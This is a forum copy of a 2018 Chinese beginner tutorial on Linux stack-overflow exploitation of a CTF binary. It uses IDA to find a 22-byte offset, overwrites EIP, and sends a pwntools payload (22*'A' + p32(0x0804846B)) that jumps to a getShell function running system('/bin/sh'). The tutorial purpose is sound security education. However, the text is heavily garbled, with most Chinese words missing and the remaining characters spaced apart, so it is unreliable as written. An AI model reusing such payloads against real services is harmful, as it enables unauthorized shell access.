[19352] 2018-07-11_Linuxpwn入门教程(1)——栈溢出基础

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2018-07-11_Linuxpwn入门教程(1)——栈溢出基础 L i n u x   p w n ( 1 ) i   2 0 1 8 - 0 7 - 1 1 T a n g e r i n e @ S A I N T S E C i   h e l l o I D A h e l l o m a i n h e l l o h e l l o , 退 使 F 5 C 便 I D A - V i e w T a b m a i n c a l l   h e l l o 3 2 d o c k e r F 9 I D A 西 E I P E B P E S P E I P E I P p w n ( E I P M o d i f y   v a l u e . . . . . . . 0 8 0 4 8 4 D E F 9 c a l l   h e l l o ) 西
1 . . . . . . . . . . . . . . . . . . . . . m n E B P E I P 1 . . . . . . . n I D A I D A E S P E B P E S P E B P 便 E I P E B P E I P I D A c a l l   h e l l o h e l l o m o v e a x ,   0 0 8 0 4 8 4 D E . E S P E B P ( A S L R E S P E B P ) F 7 h e l l o
c a l l   h e l l o c a l l E I P c a l l c a l l c a l l   h e l l o p u s h   e i p ;   m o v   e i p ,   [ h e l l o ] E I P E I P c a l l F 8
h e l l o c a l l   h e l l o m a i n E B P r e a d 便 1 2 3 4 5 6 7 8 b u f 使 F 8 l e a v e s u b   e s p ,   1 8 h l e a v e c a l l   h e l l o l e a v e a d d   e s p ,   x x h ;   m o v   e s p ,   e b p ;   p o p   e b p
F 8 E I P c a l l   h e l l o E I P + 4 .   r e t n p o p   e i p h e l l o h e l l o m a i n E I P E I P r e t n p w n C t r l + F 2 h e l l o c a l l   _ r e a d r e a d E I P 0 x 1 6 0 x 1 6 = 2 2 E I P 2 2 + 4 = 2 6 E I P p a y l o a d A * 2 2 + B * 4
A A A A A A A A A A A A A A A A A A A A A A B B B B E I P r e t n B B B B r e t n E I P 0 8 0 4 8 4 D E 4 2 4 2 4 2 4 2 B B B B A S C I I F 8 使 I D A d o c k e r p a y l o a d E I P 4 2 4 2 4 2 4 2 访 r e t n O K F 8 b u g p w n t o o l s e x p 使 使 使 R C E C T F p w n I P 使 使 f l a g h e l l o 0 8 0 4 8 4 6 B g e t S h e l l s y s t e m ( " / b i n / s h " ) b a s h   s h e l l s h e l l g e t S h e l l
h e l l o I O 1 0 0 0 1 d o c k e r i p 1 7 2 . 1 7 . 0 . 2 k a l i p y t h o n p w n t o o l s d o c k e r 1 0 0 0 1 h e l l o I D A p a y l o a d 2 2 + 1 6 4 s t r u c t s p w n t o o l s 便 p 3 2 ( ) p a c k 3 2 u n p a c k 3 2 u 3 2 ( ) p 1 6 ( ) , p 6 4 ( ) p a y l o a d 2 2 * ' A ' + p 3 2 ( 0 x 0 8 0 4 8 4 6 B ) r e a d ( p r i n t f g e t c g e t s ) 使 i o . s e n d ( p a y l o a d ) p a y l o a d
I D A h e l l o p a y l o a d g e t S h e l l p w n h e l l o 使 i o . i n t e r a c t i v e ( ) p w n / h o m e f l a g f l a g
p w n C T F s h e l l ~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则